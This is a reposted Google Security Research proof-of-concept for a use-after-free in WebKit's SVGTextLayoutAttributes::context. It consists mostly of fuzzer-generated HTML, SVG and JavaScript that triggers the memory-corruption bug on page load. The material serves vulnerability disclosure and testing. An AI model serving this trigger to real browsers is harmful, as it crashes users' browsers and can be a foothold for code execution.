WebKit - 'WebCore::SVGTextLayoutAttributes::context' Use-After-Free

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WebKit - 'WebCore::SVGTextLayoutAttributes::context' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2018-09-26

<style>
tref, feMerge, title { inherit; float: right; none; 81em }
</style>
<script>
function jsfuzzer() {
try { var var00006 = htmlvar00002.getSVGDocument(); } catch(e) { }
try { var var00162 = document.head; } catch(e) { }
try { htmlvar00015.setSelectionRange(2,56); } catch(e) { }
try { var00162.replaceWith(htmlvar00022); } catch(e) { }
}
</script>
<body onload=jsfuzzer()>
<input id="htmlvar00015" behavior="alternate" radiogroup="group">
<base id="htmlvar00022" loop="7"></base>
<svg diffuseConstant="1">
<text 1" + 1s">
<set id="svgvar00016" text-rendering="geometricPrecision" />
<tref text-decoration="overline" display="block" href="x">
</tref>
<animateTransform />
Text</text>

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